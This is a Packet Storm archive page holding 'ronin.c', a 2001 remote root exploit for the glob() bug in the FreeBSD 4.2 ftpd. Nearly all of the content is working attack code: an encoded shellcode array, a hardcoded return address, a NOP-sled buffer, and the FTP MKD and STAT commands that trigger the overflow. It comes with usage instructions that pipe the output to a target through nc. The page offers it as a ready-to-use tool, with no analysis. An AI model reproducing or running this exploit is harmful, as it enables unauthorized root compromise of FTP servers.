what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

ronin.c

ronin.c
Posted May 3, 2001
Authored by Styx

Ronin.c is a FreeBSD-4.2 remote root exploit. Requires user access and a writable home directory without chroot.

tags | exploit, remote, root
systems | freebsd
SHA-256 | d2e33c037790692c389b96a7601e8f1408b6545023a8abce9baf0cbcdda89c20

ronin.c

Change Mirror Download
/*
* glob() ftpd root exploit for freebsd 4.2
*
* 16/04/2001 StYx / styx@mal.tebank.com.mk
*
* Compile: gcc -o ronin ronin.c
* Use: (./ronin ; cat) | nc target 21
*
* Creditz:
* venglin (riped piece of his code :-] )
* preedator (tnx for the help bro)
*
* Greetz:
* jstr,atko,psx-one,slash,netzero,sniper,sircho, #seir ...
*
* This sploit needs user acces and a writable homedir without chroot,
* just add your user and passwd.
*
* Cudovo e napisano za Sircho od MoL za da vidi deka ne se Mol 100%
* sigurni
*
* Have phun.
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define RET 0x805e23a

char hellc0de[] =
"\x31\xc0\x99\x52\x52\xb0\x17\xcd\x80\x68\xcc\x73\x68\xcc\x68"
"\xcc\x62\x69\x6e\xb3\x2e\xfe\xc3\x88\x1c\x24\x88\x5c\x24\x04"
"\x88\x54\x24\x07\x89\xe6\x8d\x5e\x0c\xc6\x03\x2e\x88\x53\x01"
"\x52\x53\x52\xb0\x05\xcd\x80\x89\xc1\x8d\x5e\x05\x6a\xed\x53"
"\x52\xb0\x88\xcd\x80\x53\x52\xb0\x3d\xcd\x80\x51\x52\xb0\x0c"
"\x40\xcd\x80\xbb\xcc\xcc\xcc\xcc\x81\xeb\x9e\x9e\x9d\xcc\x31"
"\xc9\xb1\x10\x56\x01\xce\x89\x1e\x83\xc6\x03\xe0\xf9\x5e\x8d"
"\x5e\x10\x53\x52\xb0\x3d\xcd\x80\x89\x76\x0c\x89\x56\x10\x8d"
"\x4e\x0c\x52\x51\x56\x52\xb0\x3b\xcd\x80\xc9\xc3\x55\x89\xe5"
"\x83\xec\x08\xeb\x12\xa1\x3c\x50\x90";

unsigned long get_esp(){
__asm__("movl %esp, %eax");
}

int main(int argc, char **argv)
{
char heh[260];
int offset =0;
char k[256];
char user[] = "user";
char pass[] = "pass";

memset(heh,0x90,sizeof(heh));
memcpy(heh+sizeof(heh)-strlen(hellc0de),hellc0de,strlen(hellc0de));
memset(k,'A',sizeof(k));
*(long *)&heh[252]=RET - offset;
heh[257]='\0';

printf("user %s\n",user);
printf("pass %s\n",pass);

printf("MKD %s\r\n",k);
printf("STAT A*/../A*/../A*/%s%s" ,heh,"\r\n");
}
Login or Register to add favorites

File Archive:

June 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    0 Files
  • 2
    Jun 2nd
    0 Files
  • 3
    Jun 3rd
    18 Files
  • 4
    Jun 4th
    21 Files
  • 5
    Jun 5th
    0 Files
  • 6
    Jun 6th
    0 Files
  • 7
    Jun 7th
    0 Files
  • 8
    Jun 8th
    0 Files
  • 9
    Jun 9th
    0 Files
  • 10
    Jun 10th
    0 Files
  • 11
    Jun 11th
    0 Files
  • 12
    Jun 12th
    0 Files
  • 13
    Jun 13th
    0 Files
  • 14
    Jun 14th
    0 Files
  • 15
    Jun 15th
    0 Files
  • 16
    Jun 16th
    0 Files
  • 17
    Jun 17th
    0 Files
  • 18
    Jun 18th
    0 Files
  • 19
    Jun 19th
    0 Files
  • 20
    Jun 20th
    0 Files
  • 21
    Jun 21st
    0 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    0 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close